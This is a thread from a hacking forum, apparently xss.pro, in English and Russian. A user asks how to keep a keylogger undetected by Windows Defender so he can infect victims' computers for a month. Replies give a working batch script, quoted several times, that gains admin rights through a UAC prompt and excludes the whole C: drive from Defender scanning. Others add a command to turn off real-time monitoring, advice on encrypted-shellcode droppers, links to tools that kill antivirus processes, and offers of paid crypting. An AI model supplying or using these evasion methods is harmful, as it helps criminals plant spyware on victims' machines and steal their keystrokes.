Bypass Windows Defender Only | Обход Windows Defender

[deardexter]

hey guys quick question or you can say i need some help . I want to infect some computers with a keylogger i am using orion keylogger stub but the problem is that windows defender can easily detect the keylogger so can you please tell me a way how i can bypass windows defender and keep my stub active atleast 1 month

russian:
Привет, ребята, быстрый вопрос или вы можете сказать, что мне нужна помощь. Я хочу заразить некоторые компьютеры с помощью кейлоггера. Я использую заглушку orion кейлоггера, но проблема в том, что защитник Windows может легко обнаружить кейлоггер, поэтому не могли бы вы рассказать мне, как я могу обойти защитника Windows и сохранить свою заглушку активной по крайней мере 1 месяц

 

[xakfor]

send me a DM

 

[JinnX93]

I can do it, private stub bypass WD scantime runtime and other AVs in runtime too.

Live example: https://checkzilla.io/scan/20857e81-da8f-4011-bd8e-d1a1a40833be

 

[qvp]

hey guys quick question or you can say i need some help . I want to infect some computers with a keylogger i am using orion keylogger stub but the problem is that windows defender can easily detect the keylogger so can you please tell me a way how i can bypass windows defender and keep my stub active atleast 1 month

russian:
Привет, ребята, быстрый вопрос или вы можете сказать, что мне нужна помощь. Я хочу заразить некоторые компьютеры с помощью кейлоггера. Я использую заглушку orion кейлоггера, но проблема в том, что защитник Windows может легко обнаружить кейлоггер, поэтому не могли бы вы рассказать мне, как я могу обойти защитника Windows и сохранить свою заглушку активной по крайней мере 1 месяц

Используй криптосервисы, ну и на месяц наверно уж врятли

 

[Spreading]

Use a .bat file that adds exclusions to wd

 

[cutedemon]

@echo off >nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system" REM --> If error flag set, we do not have admin. if '%errorlevel%' NEQ '0' ( goto neptyn ) else ( goto godmuyiuin ) :neptyn echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs" set params = %*:"=" echo UAC.ShellExecute "cmd.exe", "/c %~s0 %params%", "", "runas", 1 >> "%temp%\getadmin.vbs" "%temp%\getadmin.vbs" del "%temp%\getadmin.vbs" exit /B :godmuyiuin pushd "%CD%" CD /D "%~dp0" powershell.exe -command Add-MpPreference -ExclusionPath C:\

Добавляем в .bat файл, запускать от админа, AВ не палит.

 

[JinnX93]

@echo off >nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system" REM --> If error flag set, we do not have admin. if '%errorlevel%' NEQ '0' ( goto neptyn ) else ( goto godmuyiuin ) :neptyn echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs" set params = %*:"=" echo UAC.ShellExecute "cmd.exe", "/c %~s0 %params%", "", "runas", 1 >> "%temp%\getadmin.vbs" "%temp%\getadmin.vbs" del "%temp%\getadmin.vbs" exit /B :godmuyiuin pushd "%CD%" CD /D "%~dp0" powershell.exe -command Add-MpPreference -ExclusionPath C:\

Добавляем в .bat файл, запускать от админа, AВ не палит.

In this case I think your malware must be fud scantime runtime before WD catch it! otherwise will be useless

 

[deardexter]

@echo off >nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system" REM --> If error flag set, we do not have admin. if '%errorlevel%' NEQ '0' ( goto neptyn ) else ( goto godmuyiuin ) :neptyn echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs" set params = %*:"=" echo UAC.ShellExecute "cmd.exe", "/c %~s0 %params%", "", "runas", 1 >> "%temp%\getadmin.vbs" "%temp%\getadmin.vbs" del "%temp%\getadmin.vbs" exit /B :godmuyiuin pushd "%CD%" CD /D "%~dp0" powershell.exe -command Add-MpPreference -ExclusionPath C:\

Add to .bat file, run as admin, AB does not fire.

okie thanks for this i will try this

 

[deardexter]

In this case I think your malware must be fud scantime runtime before WD catch it! otherwise will be useless

my victims are very foolish they will never run a scan or use antivirus by themself

 

[0x4809234098234]

inspect it with ThreatCheck before. Also try extracting shellcode, encrypt shellcode, and deliver your payload via a dropper that decrypts at runtime. Maybe foliage or ekko sleep when not logging keystrokes (aka when your desired target window isnt open). Or just add exclusions or Set-MpPreference $DisableRealtimeMonitoring -true everytime computer starts up and double-check every 30mins or so. World is your oyster with this, Defender is trivial

 

[JinnX93]

Contact me I do the bypass free for you

 

[ski]

why you don't kill WD with multi stage

 

[Proxit]

Youre better off looking into "villian" or running Havoc C2's demon bypass.

 

[pierre777reborn]

@echo off >nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system" REM --> If error flag set, we do not have admin. if '%errorlevel%' NEQ '0' ( goto neptyn ) else ( goto godmuyiuin ) :neptyn echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs" set params = %* :"=" echo UAC.ShellExecute "cmd.exe", "/c %~s0 %params%", "", "runas", 1 >> "%temp%\getadmin.vbs" "%temp%\getadmin .vbs" del "%temp%\getadmin.vbs" exit /B :godmuyiuin pushd "%CD%" CD /D "%~dp0" powershell.exe -command Add-MpPreference -ExclusionPath C:\

We add the file to the .bat, run as administrator, AB does not fire.

works but needs admin cmd authorization, do you have another way

 

[cutedemon]

doesnt work, do you have another way

GitHub - ZeroMemoryEx/Blackout: kill anti-malware protected processes ( BYOVD )

kill anti-malware protected processes ( BYOVD ) . Contribute to ZeroMemoryEx/Blackout development by creating an account on GitHub.

github.com

GitHub - ZeroMemoryEx/Terminator: Reproducing Spyboy technique to terminate all EDR/XDR/AVs processes

Reproducing Spyboy technique to terminate all EDR/XDR/AVs processes - ZeroMemoryEx/Terminator

github.com

 

[0x43rypt0n]

You need to crypt it then is the very simple solution for your problem

 

[cutedemon]

https://xss.pro/threads/86083/

 

[pierre777reborn]

@echo off >nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system" REM --> If error flag set, we do not have admin. if '%errorlevel%' NEQ '0' ( goto neptyn ) else ( goto godmuyiuin ) :neptyn echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs" set params = %*:"=" echo UAC.ShellExecute "cmd.exe", "/c %~s0 %params%", "", "runas", 1 >> "%temp%\getadmin.vbs" "%temp%\getadmin.vbs" del "%temp%\getadmin.vbs" exit /B :godmuyiuin pushd "%CD%" CD /D "%~dp0" powershell.exe -command Add-MpPreference -ExclusionPath C:\

Добавляем в .bat файл, запускать от админа, AВ не палит.

works but needs admin cmd authorization :/